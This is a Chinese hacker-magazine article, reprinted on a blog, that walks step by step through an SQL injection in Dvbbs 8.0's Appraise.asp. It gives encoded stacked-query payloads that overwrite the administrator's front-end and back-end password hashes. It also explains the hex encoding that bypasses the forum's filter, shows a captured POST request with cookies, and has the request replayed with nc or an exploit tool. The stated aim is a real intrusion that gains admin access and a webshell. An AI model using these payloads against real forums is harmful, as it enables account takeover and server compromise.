动网8.0最新远程注入漏洞来了

作者:hackest [H.S.T]
文章难易度:★★★
文章阅读点:动网8.0SQL版注入漏洞详细利用

此文章已发表在《黑客X档案》第9期杂志上,转载请注明出处!

话说动网自从8.0版本推出来后,就很少再暴高危漏洞,累得我等菜菜面对动网8.0而束手无策!好在,老天开眼,终于又暴出了一个非常严重的远程注入漏洞,不过只限于SQL版本才有效,Access版本的不受影响。出问题的文件是 Appraise.asp,该漏洞允许直接更改管理员密码,不过操作上可能会让大家觉得不太方便。为了测试该漏洞的详细利用,我在本机架设了一个动网 8.0 SQL版本的论坛。架好测试环境后就可以测试漏洞了,已知管理员的用户名(admin)和密码(admin888)。首先注册一个用户名和密码均为 hackest的普通用户,然后登录论坛,接着随便找一个版块发主题帖。发完帖子后,在返回的帖子浏览页面右下方点击“点击参与评论”,如图1。

进入评论页面,如图2。

然后打开抓包工具Winsock Expert准备抓包,如图3。

然后在评论页面随便填些内容,验证码别填错就行了,再点击“发表评论”提交评论,提示成功,点击确定后返回到抓包工具发现已经抓到了我们所需要的信息,如图4。

然后再将截获的数据包含POST字段的内容(即ID为1这项框里的全部内容)全选复制保存到一个名为test.txt的文本文件。接下来的操作可能会有点复杂,因为我们需要构造一下这个数据包再用NC提交。我们要先构造一下注入语句,例如要更改管理员用户的前台登录密码可以这样构造:
%3Bdeclare+@a+sysname+select
+@a%3D0x6500650065003000310063003900610062003700320036003700660032003500
+update+dv%5Fuser+set+userpassword%3D@a+where+userid%3D1
这段代码的原形为:
;declare @a sysname select @a=0x6500650065003000310063003900610062003700320036003700660032003500
update dv_user set userpassword=@a where userid=1
这个语句的大致意思是把dv_user表里userid=1的用户密码字段userpassword更改为hackest(其中的 0x6500650065003000310063003900610062003700320036003700660032003500是这样转换出来的:先把字符hackest加密成16的MD5散列eee01c9ab7267f25,再用转换工具把eee01c9ab7267f25转换成 SQL_En字符即可),如图5、图6。

之所以要这样变形是为了绕过动网8.0的过滤,要是觉得难以理解可以多看几次然后动手实践一下即可明白。把我们构造的变形过的注入语句:●% 3Bdeclare+@a+sysname+select+@a%3D0x650065006500300031006300390061006200
3700320036003700660032003500 +update+dv%5Fuser+set+userpassword%3D@a+where+userid%3D1●插入到test.txt里的最后一行的topicid=1后面,然后计算一下数据包所增加的字符数(原数据包长度为90,现在增加的字符数为152,加起来就是242),所以把 Content-Length后面的90改为242再保存。这里要注意的是操作一定要细心点,因为如果算错数据包长度,用NC提交的时候会不成功的。在执行NC提交操作前,我们先来看下dv_user表里的admin的userpassword字段为469e80d32c0559f8,如图7。

接下来就是用NC提交数据包了,把nc.exe和test.txt放在同一个目录下(我这里是放在C盘根目录下),然后执行●nc 127.0.0.1 80●,如图8。

看到这样的返回信息,如无意外就已经成功更改了管理员admin的前台登录密码了。由于我是本机架设的测试环境,可以极方便的查看数据的变动。先去看看成功了没有,明显已经成功了。userpassword已经由原来的admin888的16位MD5(469e80d32c0559f8)变成了 hackest的16位MD5(eee01c9ab7267f25),如图9。

该漏洞测试成功了,但在实际入侵中,我们还需要更改管理员的后台登录密码才能进入后台从而拿到Webshell。不过刚才的操作只是更改了管理员的前台登录密码,我们可以构造如下数据包更改管理员的后台登录密码:
%3Bdeclare+@a+sysname+select
+@a%3D0x6500650065003000310063003900610062003700320036003700660032003500
+update+dv%5Fadmin+set+password%3D@a+where+id%3D1
原形即为:
;declare @a sysname select @a=0x6500650065003000310063003900610062003700320036003700660032003500
update dv_admin set password=@a where id=1
就是语句变了下,同样也是插入到test.txt里的最后一行的topicid=1后面再保存。然后再NC提交,也会返回类似于图8的信息。提交我们发现admin的后台登录密码已成功更改,如图10。

使用新密码可以成功登录后台,如图11。

漏洞的手工测试就完毕了,可能菜菜们都觉得这样太麻烦了,有没有相关的利用工具呢。答案是肯定的,牛人们早已写出发利用工具,界面如图12。

要填写的相关信息同样也需要抓包获取,其中包括URL、BoardID、TopicID、AnnounceID、验证码(acodestr)、Cookie等,抓包操作前面已提过。抓到的包内容类似下面这段数据:
POST /Appraise.asp?action=save HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*
Referer: http://127.0.0.1/dispbbs.asp?boardID=1&ID=1&page=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
Host: 127.0.0.1
Content-Length: 90
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: w0802=2; rtime=1; ltime=1187503483390; w08_eid=57689537-http%3A//127.0.0.1/index.asp%3Fboardid%3D1; DvForum=UserID=2&usercookies=0&StatUserID=4086140&userclass=
%D0%C2%CA%D6%C9%CF%C2%B7&username=hackest&password=v0qdt2f765U6x7J5&userhidden=2; geturl=%2Fpost%5Fupload%2Easp%3Fboardid%3D1; ASPSESSIONIDSSSRRQBQ=BJNDBJNDBOIJFNGJPDACBOEK; upNum=0; Dvbbs=baffbdfhbe; ASPSESSIONIDQQQRSRAQ=EINNNCODGHHIAFNHDPMKMNED; ASPSESSIONIDQSQRTRAQ=COHBEOODEFPDCNKKBPAPKCMF
boardid=1&topicid=1&announceid=1&atype=0&a1=0&a2=0&atitle=test&acodestr=8598&acontent=test

参照里面的内容就可以填写所需数据了,填好后在SQL Injection栏里填入●;declare @a sysname select @a=0x3400360039006500380030006400330032006300300035003500390066003800
update dv_admin set password=@a where id=1●(这里是把密码改成admin888),然后点一下旁边的“编码”小按钮(即完成变形过程)再提交,如图13。

就会发现管理员的后台登录密码同样也被更改成admin888了,如图14。

至此,这个漏洞的测试过程就完毕了,操作上可能会复杂一点。至于进了后台如何拿Webshell,大家请参考上期的“动网8.0后台Webshell大作战”一文中介绍的方法。

相关日志

抢楼还有机会... 抢座Rss 2.0或者 Trackback

  • jas

    图上的小葵转换工具叫什么名字能说一下吗很想要

发表评论